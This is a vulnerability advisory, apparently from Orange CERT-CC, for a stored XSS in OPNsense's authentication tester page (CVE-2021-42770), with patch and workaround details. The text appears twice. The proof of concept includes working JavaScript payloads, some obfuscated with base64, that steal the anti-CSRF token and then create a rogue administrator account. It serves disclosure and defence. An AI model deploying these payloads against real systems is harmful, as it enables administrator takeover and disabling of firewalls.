Overview
A Cross-site scripting (XSS) vulnerability was discovered in OPNSense on the diag_authentication.php web page (thanks to an LDAP directory where the user can control it's fields). This allows arbitrary injection of JavaScript/HTML via $attr_value. This also can lead to Cross-Site Request Forgery (CSRF) and execute actions on the OPNSense.
Impact
The XSS can lead to steal the CSRF Token and execute any arbitrary opnsense's user action, including creation of an new administrator account.
Details
Context : An OPNSense is connected to an LDAP directory. (tested with FreeIPA)
Step 1 : An LDAP user alters its fields in the LDAP directory
Step 2 : An OPNSense administrator uses the authentication tester (System -> Access -> Tester) function. XSS payload is executed by the OPNSense administrator on it's session.
Step 3 : AntiCSRF token is collected to be reused.
Step 4 : AntiCSRF token reinjected in a new request to execute an action on OPNSense with administor privileges.
Samples of possibles actions :
- New adminstrator user creation
- Firewall disabling
- OPNSense shutdown or destruction.
POC CSRF, user creation with admins privilege
We have the control of LDAP user settings of "test_XSS" user.
Since all the LDAP user's fields are vulnerable, we can split our attack in mulitple fields for not overflowing the maximum characters in a single field.
Step 3 : AntiCSRF token is collected to be reused.
The first field "displayname" will be used to retrieve CSRF Token and store it in "token" variable.
Here is the payload :
function reqListener () {}var oReq = new XMLHttpRequest();oReq.onload = reqListener;oReq.open("post", "/firewall_rules.php", false);oReq.setRequestHeader('X-CSRFToken', 'aaaa');oReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');oReq.send('act=toggle&id=1');token=oReq.responseText.match(/[A-Za-z0-9]{32}/);
Nb: Since we are using XMLHttpRequest, cookies are automatically added to the request.
Encode the payload in base64 to avoid char escape problems. So here is the final XSS for this field:
Display Name
:<script>eval(atob('ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkge312YXIgb1JlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO29SZXEub25sb2FkID0gcmVxTGlzdGVuZXI7b1JlcS5vcGVuKCJwb3N0IiwgIi9maXJld2FsbF9ydWxlcy5waHAiLCBmYWxzZSk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkZUb2tlbicsICdhYWFhJyk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04Jyk7b1JlcS5zZW5kKCdhY3Q9dG9nZ2xlJmlkPTEnKTt0b2tlbj1vUmVxLnJlc3BvbnNlVGV4dC5tYXRjaCgvW0EtWmEtejAtOV17MzJ9Lyk7Cg=='))</script>
As we request an endpoint with invalid CSRF token, the server will answer with 403 error with a valid CSRF TOKEN in the response text, then we parse the response and store this value in "token". Then, with the next payload attacker can request any endpoint with a valid token.
Step 4 : AntiCSRF token reinjected in a new request to execute an action on OPNSense : Sample new user creation.
Since the next field printed from the web page is "initials" We will insert the next payload in this field in our LDAP user's settings.
Payload to create a user:
function reqListener () {}var oReq = new XMLHttpRequest();oReq.onload = reqListener;oReq.open("post", "/system_usermanager.php?act=new", false);oReq.setRequestHeader('X-CSRFToken', token);oReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');oReq.send('act=new&userid=&priv_delete=&api_delete=&certid=&scope=user&usernamefld=chuck&oldusername=toto&passwordfld1=chuck&passwordfld2=chuck&descr=chuck&email=chuck%40norris.com&comment=&landing_page=&language=Default&shell=&expires=&groups%5B%5D=admins&otp_seed=&authorizedkeys=&ipsecpsk=&save=save');
We just query the user creation endpoint we create the "chuck" user with password "chuck" and add this user to "admins" group.
Final payload
Initials
:<script>eval(atob("ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkge312YXIgb1JlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO29SZXEub25sb2FkID0gcmVxTGlzdGVuZXI7b1JlcS5vcGVuKCJwb3N0IiwgIi9zeXN0ZW1fdXNlcm1hbmFnZXIucGhwP2FjdD1uZXciLCBmYWxzZSk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkZUb2tlbicsIHRva2VuKTtvUmVxLnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTtvUmVxLnNlbmQoJ2FjdD1uZXcmdXNlcmlkPSZwcml2X2RlbGV0ZT0mYXBpX2RlbGV0ZT0mY2VydGlkPSZzY29wZT11c2VyJnVzZXJuYW1lZmxkPWNodWNrJm9sZHVzZXJuYW1lPXRvdG8mcGFzc3dvcmRmbGQxPWNodWNrJnBhc3N3b3JkZmxkMj1jaHVjayZkZXNjcj1jaHVjayZlbWFpbD1jaHVjayU0MG5vcnJpcy5jb20mY29tbWVudD0mbGFuZGluZ19wYWdlPSZsYW5ndWFnZT1EZWZhdWx0JnNoZWxsPSZleHBpcmVzPSZncm91cHMlNUIlNUQ9YWRtaW5zJm90cF9zZWVkPSZhdXRob3JpemVka2V5cz0maXBzZWNwc2s9JnNhdmU9c2F2ZScpOwo="))</script>
Save the user's settings.
Local User list before:
Username Full name Groups
root System Administrator admins
Now If an opnsense administrator in System -> Access -> Tester (diag_authentication.php) try to authenticate with the "test_XSS" user, because of the XSS/CSRF, it will automatically add an local opnsense's administrator.
System: Access: Tester
User: test_XSS authenticated successfully.
This user is a member of these groups:
Attributes received from server:
dn => uid=test_xss,cn=users,cn=accounts,dc=infra,dc=local
uid => test_xss
displayname =>
initials =>
gecos => Test test
....
The CSRF is executed in the background and then chuck appears in the local users list.
Username Full name Groups
chuck chuck admins
root System Administrator admins
Then we can log as login:chuck
passwd:chuck
in opnsense with admins privilege and for example shutdown all the firewall rules.
Patches
OPNSence has published the release 21.7.4 which includes fix for this security issue.
Workarounds
We suggest to: filter input/output for html characters, update the Content-Security-Policy (remove unsafe-inline)
References
https://opnsense.org/opnsense-21-7-4-released/
https://github.com/orangecertcc/security-research/blob/main/CVE-2021-42770/OPNSENSE_XSS.pdf
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42770
https://github.com/opnsense/core/blob/035319f15ea9df3cb3dce22c88aa7b03c0240038/src/www/diag_authentication.php#L84
Credits
Orange CERT-CC
Arthur Naullet Internship at Orange CERT-CC
Timeline
Date reported: October 19, 2021
Date fixed: October 27, 2021
Overview
A Cross-site scripting (XSS) vulnerability was discovered in OPNSense on the diag_authentication.php web page (thanks to an LDAP directory where the user can control it's fields). This allows arbitrary injection of JavaScript/HTML via $attr_value. This also can lead to Cross-Site Request Forgery (CSRF) and execute actions on the OPNSense.
Impact
The XSS can lead to steal the CSRF Token and execute any arbitrary opnsense's user action, including creation of an new administrator account.
Details
Context : An OPNSense is connected to an LDAP directory. (tested with FreeIPA)
Step 1 : An LDAP user alters its fields in the LDAP directory
Step 2 : An OPNSense administrator uses the authentication tester (System -> Access -> Tester) function. XSS payload is executed by the OPNSense administrator on it's session.
Step 3 : AntiCSRF token is collected to be reused.
Step 4 : AntiCSRF token reinjected in a new request to execute an action on OPNSense with administor privileges.
Samples of possibles actions :
POC CSRF, user creation with admins privilege
We have the control of LDAP user settings of "test_XSS" user.
Since all the LDAP user's fields are vulnerable, we can split our attack in mulitple fields for not overflowing the maximum characters in a single field.
Step 3 : AntiCSRF token is collected to be reused.
The first field "displayname" will be used to retrieve CSRF Token and store it in "token" variable.
Here is the payload :
Nb: Since we are using XMLHttpRequest, cookies are automatically added to the request.
Encode the payload in base64 to avoid char escape problems. So here is the final XSS for this field:
Display Name
:<script>eval(atob('ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkge312YXIgb1JlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO29SZXEub25sb2FkID0gcmVxTGlzdGVuZXI7b1JlcS5vcGVuKCJwb3N0IiwgIi9maXJld2FsbF9ydWxlcy5waHAiLCBmYWxzZSk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkZUb2tlbicsICdhYWFhJyk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04Jyk7b1JlcS5zZW5kKCdhY3Q9dG9nZ2xlJmlkPTEnKTt0b2tlbj1vUmVxLnJlc3BvbnNlVGV4dC5tYXRjaCgvW0EtWmEtejAtOV17MzJ9Lyk7Cg=='))</script>
As we request an endpoint with invalid CSRF token, the server will answer with 403 error with a valid CSRF TOKEN in the response text, then we parse the response and store this value in "token". Then, with the next payload attacker can request any endpoint with a valid token.
Step 4 : AntiCSRF token reinjected in a new request to execute an action on OPNSense : Sample new user creation.
Since the next field printed from the web page is "initials" We will insert the next payload in this field in our LDAP user's settings.
Payload to create a user:
We just query the user creation endpoint we create the "chuck" user with password "chuck" and add this user to "admins" group.
Final payload
Initials
:<script>eval(atob("ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkge312YXIgb1JlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO29SZXEub25sb2FkID0gcmVxTGlzdGVuZXI7b1JlcS5vcGVuKCJwb3N0IiwgIi9zeXN0ZW1fdXNlcm1hbmFnZXIucGhwP2FjdD1uZXciLCBmYWxzZSk7b1JlcS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkZUb2tlbicsIHRva2VuKTtvUmVxLnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7IGNoYXJzZXQ9VVRGLTgnKTtvUmVxLnNlbmQoJ2FjdD1uZXcmdXNlcmlkPSZwcml2X2RlbGV0ZT0mYXBpX2RlbGV0ZT0mY2VydGlkPSZzY29wZT11c2VyJnVzZXJuYW1lZmxkPWNodWNrJm9sZHVzZXJuYW1lPXRvdG8mcGFzc3dvcmRmbGQxPWNodWNrJnBhc3N3b3JkZmxkMj1jaHVjayZkZXNjcj1jaHVjayZlbWFpbD1jaHVjayU0MG5vcnJpcy5jb20mY29tbWVudD0mbGFuZGluZ19wYWdlPSZsYW5ndWFnZT1EZWZhdWx0JnNoZWxsPSZleHBpcmVzPSZncm91cHMlNUIlNUQ9YWRtaW5zJm90cF9zZWVkPSZhdXRob3JpemVka2V5cz0maXBzZWNwc2s9JnNhdmU9c2F2ZScpOwo="))</script>
Save the user's settings.
Local User list before:
Now If an opnsense administrator in System -> Access -> Tester (diag_authentication.php) try to authenticate with the "test_XSS" user, because of the XSS/CSRF, it will automatically add an local opnsense's administrator.
The CSRF is executed in the background and then chuck appears in the local users list.
Then we can log as login:
chuck
passwd:chuck
in opnsense with admins privilege and for example shutdown all the firewall rules.Patches
OPNSence has published the release 21.7.4 which includes fix for this security issue.
Workarounds
We suggest to: filter input/output for html characters, update the Content-Security-Policy (remove unsafe-inline)
References
https://opnsense.org/opnsense-21-7-4-released/
https://github.com/orangecertcc/security-research/blob/main/CVE-2021-42770/OPNSENSE_XSS.pdf
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42770
https://github.com/opnsense/core/blob/035319f15ea9df3cb3dce22c88aa7b03c0240038/src/www/diag_authentication.php#L84
Credits
Orange CERT-CC
Arthur Naullet Internship at Orange CERT-CC
Timeline
Date reported: October 19, 2021
Date fixed: October 27, 2021